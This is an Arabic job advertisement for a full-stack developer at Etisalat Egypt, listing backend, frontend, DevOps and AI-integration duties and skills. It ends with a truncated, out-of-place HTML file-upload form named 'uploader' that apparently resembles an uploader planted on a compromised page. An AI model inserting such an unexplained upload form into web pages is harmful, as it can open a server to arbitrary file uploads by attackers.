في المكتب دوام كامل
--
Etisalat Egypt

تفاصيل الوظيفة

المسؤوليات الرئيسية:

  • تطوير الخلفية (Backend): بناء وتحسين واجهات برمجة التطبيقات (RESTful APIs) الآمنة والقابلة للتوسع باستخدام Node.js (Express.js، NestJS).

  • تطوير الواجهة الأمامية والهواتف المحمولة: بناء واجهات مستخدم متجاوبة باستخدام React.js و(اختياريًا) ميزات الهواتف المحمولة باستخدام React Native.

  • إدارة قواعد البيانات: تصميم مخططات قواعد البيانات، وكتابة استعلامات فعالة، وإدارة عمليات النقل (Migrations) باستخدام أدوات ORM مثل Prisma أو Mongoose لـ PostgreSQL و MongoDB.

  • المصادقة والأمان: تطبيق نظام آمن لمصادقة المستخدمين والتفويض باستخدام JWT والبرمجيات الوسيطة للجلسات (session middleware).

  • تطوير العمليات والنشر (DevOps): تحويل التطبيقات إلى حاويات (Containerization) باستخدام Docker / Docker Compose، وإعداد سير عمل آلي للتكامل المستمر والنشر المستمر (CI/CD) عبر GitHub Actions، وإدارة عمليات النشر (مثل Vercel).

  • توثيق واجهات برمجة التطبيقات والجودة: كتابة كود نظيف ومحدد الأنواع (TypeScript)، وتوثيق نقاط النهاية باستخدام Swagger/OpenAPI، وإجراء اختبارات الوحدة والتكامل.

  • دمج الذكاء الاصطناعي والميزات (ميزة إضافية): بناء أو دمج إمكانيات الذكاء الاصطناعي (مثل LangChain، وقواعد البيانات المتجهة مثل Pinecone، وسلاسل RAG) في تطبيقات الويب.

المتطلبات

المتطلبات الرئيسية:

  • خبرة 2-3 سنوات في تطوير الفول ستاك (Full Stack Development).

  • شهادة جامعية في علوم الحاسوب، أو هندسة الحاسوب، أو خبرة عملية مكافئة.

  • لغات البرمجة: JavaScript، و TypeScript، و Python (ميزة إضافية).

  • أطر عمل Node.js: Express.js، NestJS.

  • الواجهة الأمامية: React.js، HTML5، CSS3، Bootstrap/Tailwind، React Hooks.

  • قواعد البيانات وأدوات ORM: PostgreSQL، MongoDB، Prisma ORM، Mongoose.

  • الأدوات والـ DevOps: Git، GitHub Actions (CI/CD)، Docker، Docker Compose، Swagger/OpenAPI، Vercel.

  • فهم قوي لأنماط تصميم البرمجيات (Software Design Patterns)، وحقن التبعيات (Dependency Injection)، وهياكل البيانات/الخوارزميات.

  • خبرة في بناء تطبيقات فول ستاك متكاملة من الصفر.

وظائف مشابهة

حول Etisalat Egypt
مصر, القاهرة
محاسبه

<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader"><input type="file" name="file" size="50"><inp...